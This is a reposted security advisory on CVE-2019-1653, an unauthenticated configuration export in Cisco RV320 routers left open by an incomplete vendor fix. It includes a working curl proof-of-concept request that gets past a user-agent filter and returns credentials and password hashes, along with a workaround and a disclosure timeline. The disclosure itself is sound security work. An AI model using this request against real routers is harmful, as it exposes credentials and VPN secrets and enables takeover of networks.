what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco RV320 Unauthenticated Configuration Export

Cisco RV320 Unauthenticated Configuration Export
Posted Mar 27, 2019
Site redteam-pentesting.de

RedTeam Pentesting discovered that the configuration of a Cisco RV320 router can still be exported without authentication via the device's web interface due to an inadequate fix by the vendor.

tags | exploit, web
systems | cisco
advisories | CVE-2019-1653
SHA-256 | aa2ffadd37f8b53f7521b5331aff0f56f21b08999e7e3839a9709f9b42d32d19

Cisco RV320 Unauthenticated Configuration Export

Change Mirror Download
Advisory: Cisco RV320 Unauthenticated Configuration Export

RedTeam Pentesting discovered that the configuration of a Cisco RV320
router can still be exported without authentication via the device's web
interface due to an inadequate fix by the vendor.


Details
=======

Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others
Affected Versions: 1.4.2.15 through 1.4.2.20
Fixed Versions: none
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
Vendor Status: working on patch
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003
Advisory Status: published
CVE: CVE-2019-1653
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653


Introduction
============

"Keep your employees, your business, and yourself productive and
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal
choice for any small office or small business looking for performance,
security, and reliability in its network."
(from the Cisco RV320 product page [1])


More Details
============

The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based
configuration interface, which is implemented in various CGI programs in
the device's firmware. Access to this web interface requires prior
authentication using a username and password. Previously, RedTeam
Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI
program:

/cgi-bin/config.exp

By issuing an HTTP GET request to this program, it was possible to
export a router's configuration without providing any prior
authentication. This vulnerability was adressed in firmware version
1.4.2.19 published by Cisco [3].

RedTeam Pentesting discovered that the CGI program in the patched
firmware is still vulnerable. By performing a specially crafted HTTP
POST request, attackers are still able to download the router's
configuration. The user agent "curl" is blacklisted by the firmware and
must be adjusted in the HTTP client. Again, exploitation does not
require any authentication.


Proof of Concept
================

A device's configuration can be retrieved by issuing an HTTP POST request
to the vulnerable CGI program (output shortened):

------------------------------------------------------------------------
$ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \
'https://192.168.1.1/cgi-bin/config.exp'
####sysconfig####
[VERSION]
VERSION=73
MODEL=RV320
SSL=0
IPSEC=0
PPTP=0
PLATFORMCODE=RV0XX
[...]
[SYSTEM]
HOSTNAME=router
DOMAINNAME=example.com
DOMAINCHANGE=1
USERNAME=cisco
PASSWD=066bae9070a9a95b3e03019db131cd40
[...]
------------------------------------------------------------------------


Workaround
==========

Prevent untrusted clients from connecting to the device's web server.


Fix
===

None


Security Risk
=============

This vulnerability is rated as a high risk as it exposes the device's
configuration to untrusted, potentially malicious parties. By
downloading the configuration, attackers can obtain internal network
configuration, VPN or IPsec secrets, as well as password hashes for the
router's user accounts. Knowledge of a user's password hash is
sufficient to log into the router's web interface, cracking of the hash
is not required. Any information obtained through exploitation of this
vulnerability can be used to facilitate further compromise of the device
itself or attached networks.


Timeline
========

2018-09-19 Original vulnerability identified
2018-09-27 Customer approved disclosure to vendor
2018-09-28 Vendor notified
2018-10-05 Receipt of advisory acknowledged by vendor
2018-10-05 Notified vendor of disclosure date: 2019-01-09
2018-11-18 List of affected versions provided by vendor
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor
2019-01-22 Firmware 1.4.2.20 released by vendor
2019-01-23 Advisory (rt-sa-2018-002) published

2019-02-07 Incomplete mitigation of vulnerability identified
2019-02-08 Proof of concept sent to vendor
2019-02-08 Receipt of proof of concept acknowledged by vendor
2019-02-15 Full advisory sent to vendor
2019-02-15 Notified vendor of disclosure date: 2019-03-27
2019-03-25 Requested progress update from vendor
2019-03-25 Vendor requests postponed disclosure
2019-03-25 Postponement declined
2019-03-27 Advisory published


References
==========

[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close